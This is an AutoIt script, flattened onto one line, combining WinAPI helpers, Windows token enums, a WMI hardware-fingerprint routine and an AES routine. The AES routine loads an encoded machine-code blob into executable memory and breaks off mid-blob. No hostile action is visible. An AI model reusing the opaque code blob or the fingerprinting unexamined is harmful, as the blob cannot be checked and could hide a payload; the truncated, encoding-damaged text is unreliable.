#pragma compile(inputboxres, true) Global Const $GUI_EVENT_CLOSE = -3 Global Const $GUI_CHECKED = 1 Global Const $GUI_UNCHECKED = 4 Global Const $MB_SYSTEMMODAL = 4096 $ENG0="Close" $ENG1="Standard Checkbox" $ENG2="Quit" $ENG3="The checkbox is checked." $ENG4="The checkbox is not checked." $RUS0="??????" $RUS1="??????????? ??????" $RUS2="?????????" $RUS3="?????? ???????." $RUS4="?????? ?? ???????." Global Const $UHID_MB = 0x00 Global Const $UHID_CPU = 0x02 Global Const $STR_STRIPALL = 8 Global Const $SB_UTF8 = 4 Global Const $UBOUND_ROWS = 1 Global Const $UBOUND_COLUMNS = 2 Global Const $OPEN_EXISTING = 3 Global Const $FILE_SHARE_READ = 0x00000001 Global Const $FILE_SHARE_WRITE = 0x00000002 Global Const $FILE_SHARE_READWRITE = BitOR ($FILE_SHARE_READ, $FILE_SHARE_WRITE) Global Enum $TOKENPRIMARY = 1, $TOKENIMPERSONATION Global Enum $SECURITYANONYMOUS = 0, $SECURITYIDENTIFICATION , $SECURITYIMPERSONATION , $SECURITYDELEGATION Global Enum $TOKENUSER = 1, $TOKENGROUPS , $TOKENPRIVILEGES , $TOKENOWNER , $TOKENPRIMARYGROUP , $TOKENDEFAULTDACL , $TOKENSOURCE , $TOKENTYPE , $TOKENIMPERSONATIONLEVEL , $TOKENSTATISTICS , $TOKENRESTRICTEDSIDS , $TOKENSESSIONID , $TOKENGROUPSANDPRIVILEGES , $TOKENSESSIONREFERENCE , $TOKENSANDBOXINERT , $TOKENAUDITPOLICY , $TOKENORIGIN , $TOKENELEVATIONTYPE , $TOKENLINKEDTOKEN , $TOKENELEVATION , $TOKENHASRESTRICTIONS , $TOKENACCESSINFORMATION , $TOKENVIRTUALIZATIONALLOWED , $TOKENVIRTUALIZATIONENABLED , $TOKENINTEGRITYLEVEL , $TOKENUIACCESS , $TOKENMANDATORYPOLICY , $TOKENLOGONSID Global Enum $NOT_USED_ACCESS = 0, $GRANT_ACCESS , $SET_ACCESS , $DENY_ACCESS , $REVOKE_ACCESS , $SET_AUDIT_SUCCESS , $SET_AUDIT_FAILURE Global Enum $TRUSTEE_IS_UNKNOWN = 0, $TRUSTEE_IS_USER , $TRUSTEE_IS_GROUP , $TRUSTEE_IS_DOMAIN , $TRUSTEE_IS_ALIAS , $TRUSTEE_IS_WELL_KNOWN_GROUP , $TRUSTEE_IS_DELETED , $TRUSTEE_IS_INVALID , $TRUSTEE_IS_COMPUTER Global Enum $SIDTYPEUSER = 1, $SIDTYPEGROUP , $SIDTYPEDOMAIN , $SIDTYPEALIAS , $SIDTYPEWELLKNOWNGROUP , $SIDTYPEDELETEDACCOUNT , $SIDTYPEINVALID , $SIDTYPEUNKNOWN , $SIDTYPECOMPUTER , $SIDTYPELABEL Func _WinAPI_GetLastError(Const $_iCurrentError=@error, Const $_iCurrentExtended=@extended) Local $aResult=DllCall("kernel32.dll","dword","GetLastError") Return SetError($_iCurrentError,$_iCurrentExtended,$aResult[ 0 ]) EndFunc Func _WinAPI_SetLastError($iErrorCode, Const $_iCurrentError=@error, Const $_iCurrentExtended=@extended) DllCall("kernel32.dll","none","SetLastError","dword",$iErrorCode) Return SetError($_iCurrentError,$_iCurrentExtended, Null ) EndFunc Global Const $GW_HWNDNEXT = 2 Global Const $GW_CHILD = 5 Global $__g_aWinList_WinAPI[64][2] = [[0, 0]] Func __WinAPI_EnumWindowsAdd($hWnd,$sClass="") If $sClass="" Then $sClass=_WinAPI_GetClassName($hWnd) $__g_aWinList_WinAPI[0][0]+= 1 Local $iCount=$__g_aWinList_WinAPI[0][0] If $iCount>=$__g_aWinList_WinAPI[0][1] Then ReDim $__g_aWinList_WinAPI[$iCount+ 64][2] $__g_aWinList_WinAPI[0][1]+= 64 EndIf $__g_aWinList_WinAPI[$iCount][0]=$hWnd $__g_aWinList_WinAPI[$iCount][1]=$sClass EndFunc Func __WinAPI_EnumWindowsChild($hWnd,$bVisible= True) $hWnd=_WinAPI_GetWindow($hWnd,$GW_CHILD) While $hWnd<> 0 If ( Not $bVisible) Or _WinAPI_IsWindowVisible($hWnd) Then __WinAPI_EnumWindowsAdd($hWnd) __WinAPI_EnumWindowsChild($hWnd,$bVisible) EndIf $hWnd=_WinAPI_GetWindow($hWnd,$GW_HWNDNEXT) WEnd EndFunc Func _WinAPI_GetClassName($hWnd) If Not IsHWnd($hWnd) Then $hWnd=GUICtrlGetHandle($hWnd) Local $aResult=DllCall("user32.dll","int","GetClassNameW","hwnd",$hWnd,"wstr","","int", 4096 ) If @error Or Not $aResult[ 0 ] Then Return SetError(@error,@extended,'') Return SetExtended($aResult[ 0 ],$aResult[ 2 ]) EndFunc Func _WinAPI_GetWindow($hWnd,$iCmd) Local $aResult=DllCall("user32.dll","hwnd","GetWindow","hwnd",$hWnd,"uint",$iCmd) If @error Then Return SetError(@error,@extended, 0 ) Return $aResult[0] EndFunc Func _WinAPI_IsWindowVisible($hWnd) Local $aResult=DllCall("user32.dll","bool","IsWindowVisible","hwnd",$hWnd) If @error Then Return SetError(@error,@extended, 0 ) Return $aResult[0] EndFunc Global $__g_vEnum Func _WinAPI_GetString($pString,$bUnicode= True) Local $iLength=_WinAPI_StrLen($pString,$bUnicode) If @error Or Not $iLength Then Return SetError(@error+ 10 ,@extended,'') Local $tString=DllStructCreate(__Iif($bUnicode,'wchar','char')&'['&($iLength+ 1 )&']',$pString) If @error Then Return SetError(@error,@extended,'') Return SetExtended($iLength,DllStructGetData($tString, 1 )) EndFunc Func _WinAPI_StrLen($pString,$bUnicode= True) Local $W='' If $bUnicode Then $W='W' Local $aRet=DllCall('kernel32.dll','int','lstrlen'&$W,'struct*',$pString) If @error Then Return SetError(@error,@extended, 0 ) Return $aRet[0] EndFunc Func __CheckErrorCloseHandle($aRet,$hFile,$bLastError= 0,$iCurErr=@error,$iCurExt=@extended) If Not $iCurErr And Not $aRet[0] Then $iCurErr= 10 Local $iLastError=_WinAPI_GetLastError() DllCall("kernel32.dll","bool","CloseHandle","handle",$hFile) If $iCurErr Then _WinAPI_SetLastError($iLastError) If $bLastError Then $iCurExt=$iLastError Return SetError($iCurErr,$iCurExt,$iCurErr) EndFunc Func __EnumWindowsProc($hWnd,$bVisible) Local $aResult If $bVisible Then $aResult=DllCall("user32.dll","bool","IsWindowVisible","hwnd",$hWnd) If Not $aResult[0] Then Return 1 EndIf EndIf __Inc($__g_vEnum) $__g_vEnum[$__g_vEnum[0][0]][0]=$hWnd $aResult=DllCall("user32.dll","int","GetClassNameW","hwnd",$hWnd,"wstr","","int", 4096 ) $__g_vEnum[$__g_vEnum[0][0]][1]=$aResult[2] Return 1 EndFunc Func __Inc(ByRef $aData,$iIncrement= 100) Select Case UBound($aData,$UBOUND_COLUMNS) If $iIncrement< 0 Then ReDim $aData[$aData[ 0 ][ 0 ]+ 1 ][UBound($aData,$UBOUND_COLUMNS)] Else $aData[0][0]+= 1 If $aData[ 0 ][ 0 ]>UBound($aData)- 1 Then ReDim $aData[$aData[ 0 ][ 0 ]+$iIncrement][UBound($aData,$UBOUND_COLUMNS)] EndIf EndIf Case UBound($aData,$UBOUND_ROWS) If $iIncrement< 0 Then ReDim $aData[$aData[0]+ 1] Else $aData[0]+= 1 If $aData[ 0 ]>UBound($aData)- 1 Then ReDim $aData[$aData[0]+$iIncrement] EndIf EndIf Case Else Return 0 EndSelect Return 1 EndFunc Func __Iif($bTest,$vTrue,$vFalse) Return $bTest?$vTrue:$vFalse EndFunc Func _WinAPI_CreateFileEx($sFilePath,$iCreation,$iAccess= 0,$iShare= 0,$iFlagsAndAttributes= 0,$tSecurity= 0,$hTemplate= 0) Local $aRet=DllCall('kernel32.dll','handle','CreateFileW','wstr',$sFilePath,'dword',$iAccess,'dword',$iShare,'struct*',$tSecurity,'dword',$iCreation,'dword',$iFlagsAndAttributes,'handle',$hTemplate) If @error Then Return SetError(@error,@extended, 0 ) If $aRet[ 0 ]=Ptr(- 1 ) Then Return SetError( 10 ,_WinAPI_GetLastError(), 0 ) Return $aRet[0] EndFunc Func _WinAPI_GetDriveBusType($sDrive) Local $hFile=_WinAPI_CreateFileEx('\\.\'&$sDrive,$OPEN_EXISTING, 0 ,$FILE_SHARE_READWRITE) If @error Then Return SetError(@error+ 20 ,@extended,- 1 ) Local $tagSTORAGE_PROPERTY_QUERY='ulong PropertyId;ulong QueryType;byte AdditionalParameters[1]' Local $tSPQ=DllStructCreate($tagSTORAGE_PROPERTY_QUERY) Local $tSDD=DllStructCreate('ulong Version;ulong Size;byte DeviceType;byte DeviceTypeModifier;byte RemovableMedia;byte CommandQueueing;ulong VendorIdOffset;ulong ProductIdOffset;ulong ProductRevisionOffset;ulong SerialNumberOffset;ulong BusType;ulong RawPropertiesLength;byte RawDeviceProperties[1]') DllStructSetData($tSPQ,'PropertyId', 0 ) DllStructSetData($tSPQ,'QueryType', 0 ) Local $aRet=DllCall('kernel32.dll','bool','DeviceIoControl','handle',$hFile,'dword', 0x002D1400 ,'struct*',$tSPQ,'dword',DllStructGetSize($tSPQ),'struct*',$tSDD,'dword',DllStructGetSize($tSDD),'dword*', 0 ,'ptr', 0 ) If __CheckErrorCloseHandle($aRet,$hFile) Then Return SetError(@error,@extended,- 1 ) Return DllStructGetData($tSDD,'BusType') EndFunc Func _WinAPI_DefSubclassProc($hWnd,$iMsg,$wParam,$lParam) Local $aRet=DllCall('comctl32.dll','lresult','DefSubclassProc','hwnd',$hWnd,'uint',$iMsg,'wparam',$wParam,'lparam',$lParam) If @error Then Return SetError(@error,@extended, 0 ) Return $aRet[0] EndFunc Func _WinAPI_RemoveWindowSubclass($hWnd,$pSubclassProc,$idSubClass) Local $aRet=DllCall('comctl32.dll','bool','RemoveWindowSubclass','hwnd',$hWnd,'ptr',$pSubclassProc,'uint_ptr',$idSubClass) If @error Then Return SetError(@error,@extended, False ) Return $aRet[0] EndFunc Global $__g_hFRDlg = 0 Global $__g_hFRDll = 0 Func _WinAPI_UniqueHardwareID($iFlags= 0) Local $oService=ObjGet('winmgmts:\\.\root\cimv2') If Not IsObj($oService) Then Return SetError( 1 , 0 ,'') Local $oItems= $oService.ExecQuery ('SELECT * FROM Win32_ComputerSystemProduct') If Not IsObj($oItems) Then Return SetError( 2 , 0 ,'') Local $sHw='',$iExtended= 0 For $oProperty In $oItems $sHw&=$oProperty.IdentifyingNumber $sHw&=$oProperty.Name $sHw&=$oProperty.SKUNumber $sHw&=$oProperty.UUID $sHw&=$oProperty.Vendor $sHw&=$oProperty.Version Next $sHw=StringStripWS($sHw,$STR_STRIPALL) If Not $sHw Then Return SetError( 3 , 0 ,'') Local $sText If BitAND($iFlags, 0x0001 ) Then $oItems= $oService.ExecQuery ('SELECT * FROM Win32_BIOS') If Not IsObj($oItems) Then Return SetError( 3 , 0 ,'') $sText='' For $oProperty In $oItems $sText&=$oProperty.IdentificationCode $sText&=$oProperty.Manufacturer $sText&=$oProperty.Name $sText&=$oProperty.SerialNumber $sText&=$oProperty.SMBIOSMajorVersion $sText&=$oProperty.SMBIOSMinorVersion Next $sText=StringStripWS($sText,$STR_STRIPALL) If $sText Then $iExtended+= 0x0001 $sHw&=$sText EndIf EndIf If BitAND($iFlags, 0x0002 ) Then $oItems= $oService.ExecQuery ('SELECT * FROM Win32_Processor') If Not IsObj($oItems) Then Return SetError( 4 , 0 ,'') $sText='' For $oProperty In $oItems $sText&=$oProperty.Architecture $sText&=$oProperty.Family $sText&=$oProperty.Level $sText&=$oProperty.Manufacturer $sText&=$oProperty.Name $sText&=$oProperty.ProcessorId $sText&=$oProperty.Revision $sText&=$oProperty.Version Next $sText=StringStripWS($sText,$STR_STRIPALL) If $sText Then $iExtended+= 0x0002 $sHw&=$sText EndIf EndIf If BitAND($iFlags, 0x0004 ) Then $oItems= $oService.ExecQuery ('SELECT * FROM Win32_PhysicalMedia') If Not IsObj($oItems) Then Return SetError( 5 , 0 ,'') $sText='' For $oProperty In $oItems Switch _WinAPI_GetDriveBusType($oProperty.Tag) Case 0x03, 0x0B $sText&=$oProperty.SerialNumber Case Else EndSwitch Next $sText=StringStripWS($sText,$STR_STRIPALL) If $sText Then $iExtended+= 0x0004 $sHw&=$sText EndIf EndIf Local $sHash=__MD5($sHw) If Not $sHash Then Return SetError( 6 , 0 ,'') Return SetExtended($iExtended,'{'&StringMid($sHash, 1 , 8 )&'-'&StringMid($sHash, 9 , 4 )&'-'&StringMid($sHash, 13 , 4 )&'-'&StringMid($sHash, 17 , 4 )&'-'&StringMid($sHash, 21 , 12 )&'}') EndFunc Func __DlgSubclassProc($sHwnd,$iMsg,$wParam,$lParam,$idLV,$pData) #forceref $idLV Switch $iMsg Case 0x004E Local $tNMIA=DllStructCreate('hwnd;uint_ptr;'&__Iif(@AutoItX64,'int;int','int')&';int Item;int;uint;uint;uint;long;long;lparam;uint',$lParam) Local $hListView=DllStructGetData($tNMIA, 1 ) Local $nMsg=DllStructGetData($tNMIA, 3 ) Local $tParam=DllStructCreate('ptr;uint',$pData) Local $iDummy=DllStructGetData($tParam, 2 ) Local $hLV=DllStructGetData($tParam, 1 ) Switch $hListView Case $hLV Switch $nMsg Case -109 Return 0 Case -114 If $iDummy Then GUICtrlSendToDummy($iDummy,DllStructGetData($tNMIA,'Item')) EndIf Return 0 EndSwitch EndSwitch EndSwitch Return _WinAPI_DefSubclassProc($sHwnd,$iMsg,$wParam,$lParam) EndFunc Func __EnumSymbolsProcA($pSymInfo,$iSymSize,$lParam) #forceref $iSymSize, $lParam Local $tagSYMBOL_INFO='uint SizeOfStruct;uint TypeIndex;uint64 Reserved[2];uint Index;uint Size;uint64 ModBase;uint Flags;uint64 Value;uint64 Address;uint Register;uint Scope;uint Tag;uint NameLen;uint MaxNameLen;wchar Name[1]' Local $tSYMINFO=DllStructCreate($tagSYMBOL_INFO,$pSymInfo) Local $iLength=DllStructGetData($tSYMINFO,'NameLen') If $iLength And BitAND(DllStructGetData($tSYMINFO,'Flags'), 0x00000600 ) Then __Inc($__g_vEnum, 500 ) $__g_vEnum[$__g_vEnum[ 0 ][ 0 ]][ 0 ]=DllStructGetData($tSYMINFO,'Address')-DllStructGetData($tSYMINFO, _ 'ModBase') $__g_vEnum[$__g_vEnum[ 0 ][ 0 ]][ 1 ]=DllStructGetData(DllStructCreate('char['&($iLength+ 1 )&']',DllStructGetPtr($tSYMINFO,'Name')), 1 ) EndIf Return 1 EndFunc Func __EnumSymbolsProcW($pSymInfo,$iSymSize,$lParam) #forceref $iSymSize, $lParam Local $tagSYMBOL_INFO='uint SizeOfStruct;uint TypeIndex;uint64 Reserved[2];uint Index;uint Size;uint64 ModBase;uint Flags;uint64 Value;uint64 Address;uint Register;uint Scope;uint Tag;uint NameLen;uint MaxNameLen;wchar Name[1]' Local $tSYMINFO=DllStructCreate($tagSYMBOL_INFO,$pSymInfo) Local $iLength=DllStructGetData($tSYMINFO,'NameLen') If $iLength And BitAND(DllStructGetData($tSYMINFO,'Flags'), 0x00000600 ) Then __Inc($__g_vEnum, 500 ) $__g_vEnum[$__g_vEnum[ 0 ][ 0 ]][ 0 ]=DllStructGetData($tSYMINFO,'Address')-DllStructGetData($tSYMINFO, _ 'ModBase') $__g_vEnum[$__g_vEnum[ 0 ][ 0 ]][ 1 ]=DllStructGetData(DllStructCreate('wchar['&($iLength+ 1 )&']',DllStructGetPtr($tSYMINFO,'Name')), 1 ) EndIf Return 1 EndFunc Func __MD5($sData) Local $hHash,$iError= 0 Local $hProv=DllCall('advapi32.dll','int','CryptAcquireContextW','ptr*', 0 ,'ptr', 0 ,'ptr', 0 ,'dword', 3 ,'dword', 0xF0000000 ) If @error Or Not $hProv[ 0 ] Then Return SetError(@error+ 10 ,@extended,'') Do $hHash=DllCall('advapi32.dll','int','CryptCreateHash','handle',$hProv[ 1 ],'uint', 0x00008003 ,'ptr', 0 ,'dword', 0 ,'ptr*', 0 ) If @error Or Not $hHash[0] Then $iError=@error+ 20 $hHash= 0 ExitLoop EndIf $hHash=$hHash[5] Local $tData=DllStructCreate('byte['&BinaryLen($sData)&']') DllStructSetData($tData, 1 ,$sData) Local $aRet=DllCall('advapi32.dll','int','CryptHashData','handle',$hHash,'struct*',$tData,'dword',DllStructGetSize($tData),'dword', 1 ) If @error Or Not $aRet[0] Then $iError=@error+ 30 ExitLoop EndIf $tData=DllStructCreate('byte[16]') $aRet=DllCall('advapi32.dll','int','CryptGetHashParam','handle',$hHash,'dword', 2 ,'struct*',$tData,'dword*', 16 ,'dword', 0 ) If @error Or Not $aRet[0] Then $iError=@error+ 40 ExitLoop EndIf Until 1 If $hHash Then DllCall('advapi32.dll','int','CryptDestroyHash','handle',$hHash) EndIf If $iError Then Return SetError($iError, 0 ,'') Return StringTrimLeft(DllStructGetData($tData, 1 ), 2 ) EndFunc Func __Quit() Local $pDll=DllCallbackGetPtr($__g_hFRDll) If $pDll Then _WinAPI_RemoveWindowSubclass($__g_hFRDlg,$pDll, 1000 ) DllCallbackFree($__g_hFRDll) EndIf $__g_hFRDll= 0 EndFunc Global Const $MEM_COMMIT = 0x00001000 Global Const $PAGE_EXECUTE_READWRITE = 0x00000040 Global Const $MEM_RELEASE = 0x00008000 Func _MemVirtualAlloc($pAddress,$iSize,$iAllocation,$iProtect) Local $aResult=DllCall("kernel32.dll","ptr","VirtualAlloc","ptr",$pAddress,"ulong_ptr",$iSize,"dword",$iAllocation,"dword",$iProtect) If @error Then Return SetError(@error,@extended, 0 ) Return $aResult[0] EndFunc Func _MemVirtualFree($pAddress,$iSize,$iFreeType) Local $aResult=DllCall("kernel32.dll","bool","VirtualFree","ptr",$pAddress,"ulong_ptr",$iSize,"dword",$iFreeType) If @error Then Return SetError(@error,@extended, False ) Return $aResult[0] EndFunc Global $_AES_CodeBuffer Global $_AES_CodeBufferMemory Global $_AES_EncryptOffset Global $_AES_DecryptOffset Global $_AES_EncryptKeyOffset Global $_AES_DecryptKeyOffset Global $_AES_EncryptECBOffset Global $_AES_DecryptECBOffset Global $_AES_EncryptCBCOffset Global $_AES_DecryptCBCOffset Global $_AES_EncryptCFBOffset Global $_AES_DecryptCFBOffset Global $_AES_CryptOFBOffset Global $_AES_ModeResetOffset Global Const $AES_CBC_MODE = 0 Global Const $AES_CFB_MODE = 1 Global Const $AES_OFB_MODE = 2 Func _AES_Exit() $_AES_CodeBuffer= 0 _MemVirtualFree($_AES_CodeBufferMemory, 0 ,$MEM_RELEASE) EndFunc Func _AES_Startup() If Not IsDllStruct($_AES_CodeBuffer) Then If @AutoItX64 Then Local $Code='0IUAAIcM20iJyAbRdkw8wkmHwOnGDw4Fh8k8E65EGdKMRkQR1zIj9mLEYAcJcEiD7AjZHIHRnhTEhunvDCtH28T6Dl+iUjhBYAZEJCDoNnQKLD8KOMMJ0hvwGQ2FEPaorkIGiP9UIcMCROQqOBtChu3rE4CeMcAcxoHyKRY+jsNBV05WgVVNic3kVEU8MeT+oOLHVsZyzlMIYNNbKEyLvCIkkApBD7aHNTAO6IXtbnRWr8BGjjzrPIP9eTyPM9AZwDCJ6YVJjRQAASnx6wVEOeczfiIqBhyKxgHcxcYyAkHc858awkGIA40EMZgSwyz4DzF+2YAQuEmM7EToOon4DingwawEtnQDb0D2xgMPyakBvDKywxOgJ0GnxaB0TemV0BeuJPivG+oG6egEJV8XizWnByGLRQMzBgzPEIkDGQT4RuflQ9sgFQjnB2iQDHOrkX5Czg/D5EGNgCEPOccof6+4UvawKE3b/oQpRgHWgX80SGPVoCvQOFQVfQoIkOskIhUf0kXOo4nSaM9k/QjcqCoxRO5Xf7PkiK+RMhMxQCjEKFteXxxdQVy3CI7eQ8PrA5BDAsWEPw1i4kxogsYQxDIG0K4NaNCRPTtDUAsCg5wdoRADc4IkIQQc4O0IBYOcHaEQBnODtCIHDnB2hEEIzg7QiAk5wdoRCgc4O0IgC+cHaEQMHODtCA2DnB2hEA5zg7Qn6DtITZse7I9NSA4YI/8C6apo/gricF0MhjKEqS24S2CGJtIVXi4M/P0Q65BehgGTjfFo7IuUIiTQyfqCnIxDXhF2A89tMMJBiehmjUgEOhspyMKXdJCIvyeBFjeRUr1MIyQyDyDwiLsUMJHDMwjAJDb6xxPUO5ZAv8Kqu0aa9FhBAgrxG46rL1HUiYgIVQUATQOJbCRc6HzoWPXwdQGxhDe451TmOEVEBwjPGkysKE8GoxvuLWIKUH0ChiNQP0IJM0AKxw0G1ekqsyMsQbcm2DvCHDJVD4gTnNVF5EgYQBAW/l' & _ 'PxAwYhHwIQF3iBBxSDlYtj0ygyEXwm5gHIJQREMGfIZAUiODPkMgYRQBnyGQcJ0jPkMggRUBnyGQmiG5n94jEKoh+J70yIC6a27bwe1bf2JAwjVbYi8xfYkA3doPMX2JAO3aDzF9ikaGgVvsH2KR5yyQhYBINqVg+rhOjQpHTuSAnOcKDreokk74ubFihy7Vvq2ykwKRwlR3CI9DuBxQ3VBQAL6yzkAkyQOMgjpvfpHDiRMiQ8JDRk/QvYHvtMsKmkwPxAiKpK8jJraO8DLMV5P0yqdFaDpi7U8mWflRiJ8pAUlZIoa0CyXJAv5SFDFMiVX4Lh/Wk9CIKKz+tPi2MjmlXmOxMxwokcI+D+Rrr+ZhYdUxD+BsgcCBAXniBABwzUGlaQEWWeB1RiVYY5xcwg1P6vToibCEN0mtOxVDlGXOk14RQN02eQycv8ZMcRhTxZ0PohW5A/ojYyUVzlCpUUYpgkW2HniGllXy6aJRFj12PN8p0WRiuIhsQDSwQ0yZulMkooxKpkMEUFUzLEOCUHCxZAMt9u1pnS6ZnNBRXO3kzElyXixKrJwXPkXKxMv5QZZngoJPe/Ikpe6SgQQTDqGQQYOIPUMgUxQAeoZAZnSD1DIwcQUHqGQQi6FtKKSlEDhn3tVHnUr6MGkaBKPQqlHx4O0h+PEmkfTxa3J+5rQxWoEFq4QUYGIeBkdGxVhSQclmsipThxmekEDCmm3CchPpuRDCQFSW6dRtqTK6KTOKCfQwUjiBDWyMxZwhojSFlHPJ+0yZw5o33+RrGZJxGlB5AYCHaDthacpe0d5s2YkOS4A6yceqJYwZj0wpDAc184QiwJkPpjjZ+Kk6aKkdY7y42B7IijBc4Qhc4mbKZJryK9LBmaeBtkjvL4wRNIjUcIighXCZIUaIV8MXcBCG8CAWcDMvEmcO1POUUKEwsYLH8ECE8FoRpQnysMYFAGIljIPQ0KXwcaEWAoDhZEaA+hEnhjRRbrI8WnFAXubRxq43fpkBqBgnYJVQcnGXTtsXSJ8fkwqdGuN+wG' $Code&='DwKCUnyeFD+bBCQRrBAeIAVEAQaBApAPBywDDEZwGXsIsycyFwkxUBIKMVgSCzFgEgwxaBINMXgSDjFAF+iJifoRnPANLFZ9uSgyClxgCeheSAOlmjwOFrCeooDUFv+b8qiCQsRJf7eZEIKFfjj+/8R0THpHGHEECHkIgEkMkYIq3aYuuFwk6xkvk0lVWDOzdLyTJ0LoBCMxkm5n+hJEmQ8SckqG+QsQCCgHCEAMRZJtaHSQu1gB5hPorwIwVKnpX6mhkGEi4VyPEesTVAGpIUoCgMxiTUVKhIPsIMhHdUwyQ5C4ijqsRjF6Xw1Ke8eiinQol6jxMRQ+CAw7hXrg6EIibeHJgCAhDUsGFMOQEWj4DshwaR68lEblOBByvy+skqeHMuAJucHCE+iENzGNYP+m4B0ZID6cEelNaFixBzC6Tp1HAZxD8g8CDnEgA+cSBA5xIAXnEgYOcSAH5xIIDnEgCecSCg5xIAvnEgwOcSAN5xIODnF6g+0UirRZBUC3B8gPCDWMoVNje0jUXCiQzTIBNAZBFuiZONoG8QZbNotGVVwS6BULjCdJQf99z1Ms3LolwwkEMDEO/4xSbfTH6zguEwQgMQPDGAStEtFbHgycCAw50pDhdDZLjLf0Ctwhc4p6JISRoqwWjpEgfQgdCl01tbFmIMggyQp8yaPPlgYUxLXEZ1SxBCYQMh9kkhjCnrBk4xjoalEKSYHugNQZGXJIXxQkTxEWVwULM4AYEg6YhIZxiIYikIyYdpANGoH+oBXQUJKx3RihiGQBROBAdAxIx8Bi/wPpTNDOP0WLMbAIULQBWLgBYLyY9PAG/MED6BBEM0z1hgoUZP0DE5gWXPViAgpU/Wl/84YG/8HrR/0ITISDE0BdI1yEQfHcwemL9CJUEggTVhACmUfyAP7B6ov0IlwSCBNWEAKPAUaJyAZA09mB4lKowCTESMiQzL7y0CTUSNiQ3L7y4CTkSOiQ7L7y8CT0SPiQ/L7iCKSnBF4iQgz7hUgQSKg' & _ 'UkRghHH3kIEgkkSghLH3kMEg0kTghPH3kQF9i8xJMF95EUFSLjEhcX3lgEmQkaEhsX3lwEnQkeEh8X1BIgXDFTwhJjojr2hAOkITPmPDEoIxQu6+gSIscUCS2C8YGUwQIIFsIFmMMSOA+i7TGusJ6ivKuaSAK6OaDxFswE2vP+6F2Vw6ZSMdp4hQzhxh2KJ+EBiGPiAiXjKeX+nlUHyFkcVwfIUxxZB8hVHFMHyFc/IWod6e9+iGoXenv+kioV3p7+tIVqNye+vSlT3envfohqF3p7/pIqFd6e/rSFajenvr0hah3p736Iahd6e/6SKhXenv60hWo1J761yO7/Se1+uJWUyn4hWBBnVkCweBzGAzjEAnYGBmgBVkByBwIG4m+GBhJByEGQSjB4SLuCWXZHQQjBwVsSxXeSm8EUUgLkAoj4CBGUggHfKso1A1C4fueWSBRDjNxDLkNMjYYZuKD3AnTZ8Lk83DLUOgYW10fXi3gQ/eJEloMMQxiTyEz8rD63vbudRgP9kSLFHJZRmrKATHRoh0Z+W8MRvYpCI7IFxi7/lDJnRDGpsVchyxIBMQSMUbkShQ0VMONGKliHF5b4iAEajIIOSQYKIZHLOgwgQ8MDI5GNCE4kTz6IEAhtFsRENzjEEjITP0QUCFZkRTIVM/QyFz9EGAQ/lqIGORkYmgZbB+icASjMhw5dBh4hkd8vIq5QDK8RRkgGIq5TSJhLoKISWzImnCMm+T2KoqQZyHeWREkyJRZmBNButqkapxYdOoYz91FxtJGkFaQZ2U+0zQPG2JhGU8QRSzSfg8HkGXIGIWLhlSsQ6AHyceC8AoBSIAQyCKkVMYToMjhqEMx2CcVrHMoBFtew68u4FiE63yORuMj2zvC3qBCWiNRkeKI2s7wt6gdUvNRSZxLDrbURgwhDWQMIhMkEm0MBxG51GQQSxelzxYinuaGwPMZZhTHFRSx0yzRiEdYcRQTftxoi3o08M4lEDEF9fNICwgp7mgRkBhQTcujkcaULv1XyFIrygy7DtGA' $Code&='UiC7e/IXYOUwIlY0MTgYPIsh8IWgw8jBQG8xrzJIkD0ZDFzATIxdUCr5C2DyYJFWZIvO1laU3oFgaBhsjENwI3ReZHiyfTIUucB8DJKeI0mX2chsXybQ4g5W5fAy35rE0IRyQpjInFmgCiOkfJm0IWgQrLKwmIaIVZQbUmf2Mvm0Fli4/rLAmYO8d87IBEnjCCwM20wXyF9tKBTMBpgdCLpa1iNnXThl2QiRyhXEZhSSyI7IypfMPEwFlWfQLEZfMhZ55kX+56kg35oZBAzOQscSiXrrK7gaP2LFJCLeWzK13TyLEolykzrsdY+KIwwQDbIMEs46sYroB2URy4ohEBEXIxZkFGIVFkIUIhtIGo0Q+1NQPSBcWJSUJwTE6DJUFiycGIxCGcgYkB8QaR6I5RnrGRya6x0UxpzLFu+pR4PNJKi43cHtg5mLLOvDzRCcMewq6wxFCAQciTEIHhiKhqTnvDxiIKT+NxkkHvPP4vVBHijnL2lMKz8MfqQUeKinUzOP6kCDwDuJi3XCCUubkOEztWlhlv/qYrowe/q9ocU+n91IUutPDOXpaljaTN9iNJgehlbGHtuLHLwmy+UM2UISoIEIBjCTbiIZQRjJz5mMQK79Qa9EReqMvoBIybTcY9ulCLDjHWKQRjeYMryrQdijFNtG3nX0l8kSCAsYi2lHQWoUMyHkVirGKMXmf1WUMFKIqo0it8rmXFs2xb2KujJASu4l0t1mcB/RYWW1ESfCk8EC/FFsE9DMzWTmCMxop8kQbKvLcEUDEMWQv6J8FVJ5CyG4C7qEm1fSUVOlosVKqolaCsgloig2y1XEkqVGPAzyxRaG1FqqNAx/18igUup5Mc2oGyGsXqEPIs5ZW6HXXkKwyLRZuA8hvF0QwKLEK5b4huFU7uTIjZDMrSgQyeAfuOjekNDNygbnKRvU4WTYzDX8Tk40Eh646euQ3N8jEMDEBIC3ZGUqxdRYFhI3XHSot2/I4L4/+TLOFOQuxbLoTG7mEuyWa1J' & _ 'fOCEUkKUBaUt4mPogdA4/fiKB8icxpiQQ4AG1RBT2Kh2DwoBPNbjUS8zDUhD+JsIKGHXs3wgsEgPp/fT/jOokSGERLPkvzRAYEFhE8Ar/O8uAkoz0RJb1bosCZKLnEsAFAV4G++QgCFOZGohVUQethUTiIyrCKR0EBxUFK3qAkqSMIlkLtkcU4yuIw5QIB58qK/UBmqgUsw8UQQ4pkSEqDAZsDU8S6CSVTValBMz381UPwekYwcmLDIjjqRAz2noToNAsTYgIWJ6b1MbS1kFo7eTGRZLQ/t7MHs0KgTXlgAMZthrJIN8H/OFhfwONbG0heP8kDO3QB82J6SbvamjsMic7KOcfzHzM+gcGAf+NDEkGSMnzZz7IJ89SgeCUIpJFwUFHjQRAls7PXGf21BtAwMehLvjfaaSGKD/oE89KyMTCsiD8iBONyIu+0ozTSA+QlUeUmQ/tZEnNzCzpBu+tlSOSbd4GkZiFHZDtmoUoj9dm73ztmRjN+tlNkQOgzngamc2gmymB5oWmKCKexSjuB4S3WKHyNHajd9Vmlh9Y9jAilIGUQSI9VFz3rI+KiRJ1LY3qGI/PzcjNKgQeUOORwO8HRQHtJI08TJnNDP91G6KBncwS2QzpW0W0MPWklULPQpLMxxzNppOKpxSUR8+EupgoRdCjl3mkd4Qi+6rvRN3vKnVsz0jx+a6UipEojsXMEvGryCRE2lLPMiUrSjTpl0jQMvgYm4rvhkjFoidwHcRB6UnXCPofJJotsk1FoRNCC6KA